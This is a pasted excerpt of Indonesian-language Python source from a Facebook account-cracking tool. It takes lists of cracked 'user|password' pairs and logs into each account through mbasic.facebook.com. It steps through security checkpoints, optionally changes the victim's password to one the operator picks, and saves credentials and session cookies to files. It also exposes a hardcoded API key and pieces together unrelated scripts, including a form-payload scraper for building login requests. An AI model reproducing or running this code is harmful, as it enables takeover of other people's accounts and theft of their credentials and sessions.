  1041.         print("\033[0m╰─ Jaringan Internet Kamu Tidak Ada");exit()
  1042.     if confirmkey[files] == key:
  1043.         if confirmkey[files] == "tidakada":
  1044.             print("\n\033[0m╰─ Lisensi key Kamu Sudah Kadaluarsa")
  1045.             os.system("rm -rf .key.txt");exit()
  1046.         else:
  1047.             print("\n\033[0m╰─ Lisensi key Kamu Sudah Aktif");time.sleep(1);login()
  1048.     else:
  1049.         print("\n\033[0m╰─ Lisensi key Kamu Sudah Kadaluarsa")
  1050.         os.system("rm -rf .key.txt");exit()
  1051.  
  1052. import requests, shutil, os, re, bs4, sys, json, time, platform ,random, datetime, subprocess, logging, base64
  1053. import hmac, hashlib, urllib, stdiomask, urllib.request, uuid
  1054. from concurrent.futures import ThreadPoolExecutor
  1055. from bs4 import BeautifulSoup as parser
  1056. from threading import (Thread, Event)
  1057. from time import sleep as jeda
  1058. from datetime import datetime
  1059.  
  1060. ct = datetime.now()
  1061. n = ct.month
  1062. bulan_ = ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']
  1063. try:
  1064.     if n < 0 or n > 12:
  1065.         exit()
  1066.     nTemp = n - 1
  1067. except ValueError:
  1068.     exit()
  1069.  
  1070. current = datetime.now()
  1071. hari = current.day
  1072. bulan = bulan_[nTemp]
  1073. tahun = current.year
  1074. bullan = current.month
  1075.  
  1076. waktu = ("%s-%s-%s"%(hari,bulan,tahun))
  1077. bulan12 = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  1078.  
  1079. M = '\x1b[1;91m' # MERAH
  1080. H = '\x1b[1;92m' # HIJAU
  1081. K = '\x1b[1;93m' # KUNING
  1082. B = '\x1b[1;94m' # BIRU
  1083. U = '\x1b[1;95m' # UNGU
  1084. O = '\x1b[1;96m' # BIRU MUDA
  1085. P = '\x1b[1;97m' # PUTIH
  1086. J = '\033[38;2;255;127;0;1m' # ORANGE
  1087. N = '\x1b[0m' # WARNA MATI
  1088. acak = [M, H, K, B, U, O, P, J]
  1089. warna = random.choice(acak)
  1090. til ="\033[0m╰─ "
  1091.  
  1092. def jalan(keliling):
  1093.     for mau in keliling + '\n':
  1094.         sys.stdout.write(mau)
  1095.         sys.stdout.flush();jeda(0.03)
  1096.        
  1097.        
  1098. ubah_pass = []
  1099. pwbaru = []
  1100. pwBaru = []
  1101. ubahP = []
  1102.  
  1103. def file_cp():
  1104.     dirs = os.listdir('CP')
  1105.     print ("%s%s%s [%s\033[0m \033[0mpilih hasil crack yg tersimpan untuk cek opsi %s]\n"%(U,til,O,U,O))
  1106.     for file in dirs:
  1107.         print("%s%s\033[0m%s"%(U,til,file));jeda(0.07)
  1108.     try:
  1109.         print("\n%s%s%s\033[0m Masukan file [ cth%s: %sCP-%s.txt%s ]"%(U,til,O,M,K,waktu,O))
  1110.         opsi()
  1111.     except IOError:
  1112.         print ('%s%s \033[0mfile tidak ada'%(M,til))
  1113.         exit()
  1114.  
  1115. def opsi():
  1116.     CP = ("CP/")
  1117.     romi = input("%s%s%s \033[0mNama file %s> %s"%(U,til,O,M,K))
  1118.     if romi == "":
  1119.         print("%s%s \033[0misi yang benar "%(M,til));jeda(2)
  1120.         opsi()
  1121.     try:
  1122.         file_cp = open(CP+romi, "r").readlines()
  1123.     except IOError:
  1124.         exit("\n%s%s \033[0mnama file %s\033[0m tidak tersedia"%(M,til,romi))
  1125.     jalan("%s%s%s\033[0m Mode pesawatkan terlebih dahulu 5 detik "%(U,til,O))
  1126.     pw=input("\n%s%s%s \033[0mubah sandi pada akun one tab? y/t %s> %s"%(U,til,O,M,K))
  1127.     if pw in['y','Y']:
  1128.         ubah_pass.append("ubah_sandi")
  1129.         pw2 = input("%s%s%s \033[0mmasukan sandi %s> %s"%(U,til,O,M,K))
  1130.         if len(pw2) <= 5:
  1131.             print("%s%s sandi minimal 6 karakter "%(M,til))
  1132.         else:
  1133.             pwbaru.append(pw2)
  1134.     print("\n %s# %s---------------------------------------- %s#"%(P,M,P));jeda(2)
  1135.     print ("%s%s%s\033[0m total akun %s: %s%s "%(U,til,O,M,K,str(len(file_cp))))
  1136.     print(" %s# %s---------------------------------------- %s#"%(P,M,P));jeda(2)
  1137.     nomor = 0
  1138.     for fb in file_cp:
  1139.         akun = fb.replace("\n","")
  1140.         ngecek  = akun.split("|")
  1141.         nomor+=1
  1142.         print("\n%s%s.%s \033[0mlogin akun %s> %s%s"%(H,str(nomor),O,M,K,akun.replace(" *--> ","")));jeda(0.07)
  1143.         try:
  1144.             mengecek(ngecek[0].replace("",""), ngecek[1])
  1145.         except requests.exceptions.ConnectionError:
  1146.             continue
  1147.     print("\n%s%s%s \033[0mSelesai mengecek akun"%(U,til,O));jeda(0.07)
  1148.     input('%s%s%s [%s Enter%s ] '%(U,til,O,U,O))
  1149.     back()
  1150.    
  1151. data = {}
  1152. data2 = {}
  1153.  
  1154. def mengecek(user,pw):
  1155.     global loop,ubah_pass,pwbaru
  1156.     session=requests.Session()
  1157.     ua = 'Mozilla/5.0 (Linux; Android 8.1.0; S45B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Mobile Safari/537.36'
  1158.     url = "https://mbasic.facebook.com"
  1159.     session.headers.update({"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
  1160.     soup=bs4.BeautifulSoup(session.get(url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
  1161.     link=soup.find("form",{"method":"post"})
  1162.     for x in soup("input"):
  1163.         data.update({x.get("name"):x.get("value")})
  1164.     data.update({"email":user,"pass":pw})
  1165.     urlPost=session.post(url+link.get("action"),data=data)
  1166.     response=bs4.BeautifulSoup(urlPost.text, "html.parser")
  1167.     if "c_user" in session.cookies.get_dict():
  1168.         if "Akun Anda Dikunci" in urlPost.text:
  1169.             print("\r%s%s\033[0m akun terkunci sesi new"%(M,til))
  1170.         else:
  1171.             print("\r%s%s\033[0m akun tidak checkpoint, silahkan anda login "%(til,H))
  1172.             open('OK/OK-%s.txt'%(waktu), 'a').write(" %s|%s\n" % (user,pw))
  1173.     elif "checkpoint" in session.cookies.get_dict():
  1174.         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  1175.         title=re.findall("\<title>(.*?)<\/title>",str(response))
  1176.         link2=response.find("form",{"method":"post"})
  1177.         listInput=['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']
  1178.         for x in response("input"):
  1179.             if x.get("name") in listInput:
  1180.                 data2.update({x.get("name"):x.get("value")})
  1181.         an=session.post(url+link2.get("action"),data=data2)
  1182.         response2=bs4.BeautifulSoup(an.text,"html.parser")
  1183.         cek=[cek.text for cek in response2.find_all("option")]
  1184.         number=0
  1185.         print("\r%s╰─%s \033[0mterdapat %s%s%s \033[0mopsi %s:"%(U,O,P,str(len(cek)),O,M));jeda(0.07)
  1186.         if(len(cek)==0):
  1187.             if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
  1188.                 if "ubah_sandi" in ubah_pass:
  1189.                     dat,dat2={},{}
  1190.                     but=["submit[Yes]","nh","fb_dtsg","jazoest","checkpoint_data"]
  1191.                     for x in response("input"):
  1192.                         if x.get("name") in but:
  1193.                             dat.update({x.get("name"):x.get("value")})
  1194.                     ubahPw=session.post(url+link2.get("action"),data=dat).text
  1195.                     resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
  1196.                     link3=resUbah.find("form",{"method":"post"})
  1197.                     but2=["submit[Next]","nh","fb_dtsg","jazoest"]
  1198.                     if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
  1199.                         for b in resUbah("input"):
  1200.                             dat2.update({b.get("name"):b.get("value")})
  1201.                         dat2.update({"password_new":"".join(pwbaru)})
  1202.                         an=session.post(url+link3.get("action"),data=dat2)
  1203.                         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  1204.                         print("\r%s%s\033[0makun one tab, sandi berhasil di ubah \n╰─ OK %s%s%s|%s|%s           "%(H,til,N,H,user,pwbaru[0],coki))
  1205.                         open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s|%s\n" % (H,user,pwbaru[0],coki))
  1206.                         #cek_apk(coki)
  1207.                 else:
  1208.                     print("\r%s%s \033[0makun one tab, silahkan anda login      "%(H,til))
  1209.                     open('OK/OK-%s.txt' %(waktu), 'a').write("%s %s|%s|%s\n" % (H,user,pw,coki))
  1210.                     #cek_apk(coki)
  1211.             elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
  1212.                 print("\r%s╰─\033[0m akun terpasang autentikasi dua faktor          "%(M))
  1213.             else:
  1214.                 print("%s%s\033[0mterjadi kesalahan"%(M,til))
  1215.         else:
  1216.             if "c_user" in session.cookies.get_dict():
  1217.                 print("\r%s%s akun tidak checkpoint, silahkan anda login "%(H))
  1218.                 open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s\n" % (H,user,pw))
  1219.         for opsi in range(len(cek)):
  1220.             number +=1
  1221.             jalan ("  %s%s. %s%s"%(P,str(number),K,cek[opsi]))
  1222.     elif "login_error" in str(response):
  1223.         oh = run.find("div",{"id":"login_error"}).find("div").text
  1224.         print("%s╰─ %s"%(M,oh))
  1225.     else:
  1226.         print("%s╰─ \033[0mlogin gagal, silahkan cek kembali id dan kata sandi"%(M))
  1227.          
  1228. def scarpping_ua():
  1229.     # Url & Headers website #
  1230.    
  1231.    
  1232.     url = "https://api.apilayer.com/user_agent/generate?android=true&chrome=true"
  1233.     header = {"apikey": "2ZxXnjQByF6rPu3GM5DtcEmrJfKqB5xL"}
  1234.    
  1235.     # Main menu #
  1236.    
  1237.   #  os.system('clear')
  1238.     try:
  1239.         response = requests.get(url,headers=header)
  1240.         if response.status_code == 200:
  1241.             uascrap.append(response.json()['ua'])
  1242.         else:
  1243.             uascrap.append("Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-G900F Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36")
  1244.     except requests.exceptions.ConnectionError:
  1245.         uascrap.append("Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-G900F Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36")
  1246.        
  1247. ###----------[ AUTHOR ]---------- ###
  1248. Author = 'Dapunta Khurayra X'
  1249. Version = 0.1
  1250. Facebook = 'Facebook.com/Dapunta.Khurayra.X'
  1251. Instagram = 'Instagram.com/ratya.anonym.id'
  1252.  
  1253. # --> Modules
  1254. import requests,bs4,sys,os,datetime,re
  1255. from bs4 import BeautifulSoup as bs
  1256. from datetime import datetime
  1257. from itertools import count
  1258. from requests import get
  1259. from bs4 import BeautifulSoup
  1260. from rich import print as cetak
  1261. from rich import print as prints
  1262. from rich.panel import Panel as nel
  1263. done = False
  1264. results = []
  1265. # -->  Clear Terminal
  1266. def clear():
  1267.     if "linux" in sys.platform.lower():os.system("clear")
  1268.     elif "win" in sys.platform.lower():os.system("cls")
  1269.  
  1270. # --> Waktu
  1271. def start():
  1272.     global Mulai_Jalan
  1273.     Mulai_Jalan = datetime.now()
  1274. def akhir():
  1275.     global Akhir_Jalan, Total_Waktu
  1276.     Akhir_Jalan = datetime.now()
  1277.     Total_Waktu = Akhir_Jalan - Mulai_Jalan
  1278.     try:
  1279.         Menit = str(Total_Waktu).split(':')[1]
  1280.         Detik = str(Total_Waktu).split(':')[2].replace('.',',').split(',')[0] + ',' + str(Total_Waktu).split(':')[2].replace('.',',').split(',')[1][:1]
  1281.         print('\nProgram Selesai Dalam Waktu %s Menit %s Detik\n'%(Menit,Detik))
  1282.     except Exception as e:
  1283.         print('\n\nProgram Selesai Dalam Waktu 0 Detik\n')
  1284.  
  1285. # --> Main Program
  1286. class get_data_web:
  1287.    
  1288.     def __init__(self):
  1289.         self.xyz = requests.Session()
  1290.         url = input('Masukkan URL : ')
  1291.         print('\n[1] Source Payload')
  1292.         print('[2] Parsed Payload')
  1293.         print('[3] Source Code Post Requests')
  1294.         self.tanya = input('Pilih : ')
  1295.         self.domain = url.split('/')[2]
  1296.         self.get_form(url)
  1297.  
  1298.     def get_form(self,url):
  1299.         req = self.xyz.get(url)
  1300.         raq = bs(req.content,'html.parser')
  1301.         for x in raq.find_all('form'):
  1302.             if self.tanya in ['1','01','a']: self.printing1(req,x)
  1303.             elif self.tanya in ['2','02','b']: self.printing2(req,x)
  1304.             elif self.tanya in ['3','03','c']: self.printing3(url,req,x)
  1305.             else: exit('\nIsi  Yg Benar!')
  1306.  
  1307.     def get_head1(self,req):
  1308.         data = {}
  1309.         head = req.headers
  1310.         usls = ['cookie','set-cookie','report-to','expires','x-fb-debug','date','last-modified','etag']
  1311.         for x,y in zip(head.keys(),head.values()):
  1312.             try:
  1313.                 if x.lower() in usls: continue
  1314.                 else: data.update({x:y})
  1315.             except Exception as e:continue
  1316.         return(data)
  1317.  
  1318.     def get_data1(self,form):
  1319.         data = {}
  1320.         for y in form.find_all('input'):
  1321.             try:data.update({y['name']:y['value']})
  1322.             except Exception as e:continue
  1323.         return(data)
  1324.  
  1325.     def get_data2(self,form):
  1326.         data = []
  1327.         for y in form.find_all('input'):
  1328.             try:data.append(y)
  1329.             except Exception as e:continue
  1330.         return(data)
  1331.  
  1332.     def get_post1(self,form):
  1333.         z = form['action']
  1334.         if 'https://'+self.domain in z: return(z)
  1335.         elif 'http://'+self.domain in z: return(z)
  1336.         else: return('https://%s%s'%(self.domain,z))
  1337.  
  1338.     def printing1(self,req,x):
  1339.         head = self.get_head1(req)
  1340.         data = self.get_data1(x)
  1341.         post = self.get_post1(x)
  1342.         coki = self.xyz.cookies.get_dict()
  1343.         print('\n\n[SOURCE PAYLOAD]\n')
  1344.         print('[Host] %s'%(self.domain))
  1345.         print('[Head] %s'%(head))
  1346.         print('[Data] %s'%(data))
  1347.         print('[Coki] %s'%(coki))
  1348.         print('[Post] %s'%(post))
  1349.  
  1350.     def printing2(self,req,x):
  1351.         head = self.get_head1(req)
  1352.         data = self.get_data2(x)
  1353.         post = self.get_post1(x)
  1354.         coki = self.xyz.cookies.get_dict()
  1355.         print('\n\n[PARSED PAYLOAD]\n')
  1356.         # --> Tampil Headers
  1357.         print('head = {')
  1358.         for x,y in zip(head.keys(),head.values()):
  1359.             print('    %s%s: %s'%(x,' '*(29-len(x)),y))
  1360.         print('    }')
  1361.         # --> Tampil Data
  1362.         print('data = {')
  1363.         for x in data:
  1364.             try:
  1365.                 if 'value' in str(x):
  1366.                     dp = 'name=' + re.search('name=(.*?)/>',str(x)).group(1)
  1367.                     fp = re.search('value="(.*?)"',str(dp)).group(1)
  1368.                     print("    %s%s: '%s',"%(x['name'],' '*(19-len(x['name'])),fp))
  1369.                 elif 'name' in str(x):
  1370.                     print("    %s%s: '',"%(x['name'],' '*(19-len(x['name']))))
  1371.                 else: continue
  1372.             except Exception as e: continue
  1373.         print('    }')
  1374.         # --> Tampil Cookie
  1375.         print('cookie = {')
  1376.         for x,y in zip(coki.keys(),coki.values()):
  1377.             print('    %s%s: %s'%(x,' '*(5-len(x)),y))
  1378.         print('    }')
  1379.         # --> Post Requests
  1380.         print("next = '%s'"%(post))
  1381.         print("post = requests.Session().post(next,headers=head,data=data,cookies=cookie)")
  1382.     def printing3(self,url,req,x):
  1383.         head = self.get_head1(req)
  1384.         data = self.get_data2(x)
  1385.         post = self.get_post1(x)
  1386.         print('\n\n[SOURCE CODE POST REQUESTS]\n')
  1387.         # --> Tampil Get Requests
  1388.         print("url  = '%s'"%(url))
  1389.         print("requ = bs(requests.Session().get(url).content,'html.parser')")
  1390.         # --> Tampil Headers
  1391.         print('head = {')
  1392.         for x,y in zip(head.keys(),head.values()):
  1393.             print('    %s%s: %s'%(x,' '*(29-len(x)),y))
  1394.         print('    }')
  1395.         # --> Tampil Data
  1396.         print('data = {')
  1397.         for x in data:
  1398.             try:
  1399.                 if 'value' in str(x):
  1400.                     dp = 'name=' + re.search('name=(.*?)/>',str(x)).group(1)
  1401.                     fp = re.search('value="(.*?)"',str(dp)).group(1)
  1402.                     gp = dp.replace(fp,'(.*?)')
  1403.                     rs = ("re.search('%s',str(requ)).group(1)"%(gp))
  1404.                     print('    %s%s: %s,'%(x['name'],' '*(19-len(x['name'])),rs))
  1405.                 elif 'name' in str(x):
  1406.                     print("    %s%s: '',"%(x['name'],' '*(19-len(x['name']))))
  1407.                 else: continue
  1408.             except Exception as e: continue
  1409.         print('    }')
  1410.         # --> Tampil Cookie
  1411.         print("cookie = requests.Session().cookies.get_dict()")
  1412.         # --> Post Requests
  1413.         print("next = '%s'"%(post))
  1414.         print("post = requests.Session().post(next,headers=head,data=data,cookies=cookie)")
  1415.  
  1416. if __name__=='__main__':
  1417.     try:os.system('git pull')
  1418.     except:pass
  1419.     try:os.mkdir('OK')
  1420.     except:pass
  1421.     try:os.mkdir('CP')
  1422.     except:pass
  1423.     try:os.system('touch .prox.txt')
  1424.     except:pass
  1425.     login()
  1426.  
  1427.  
  1428.  
Add Comment
Please, Sign In to add comment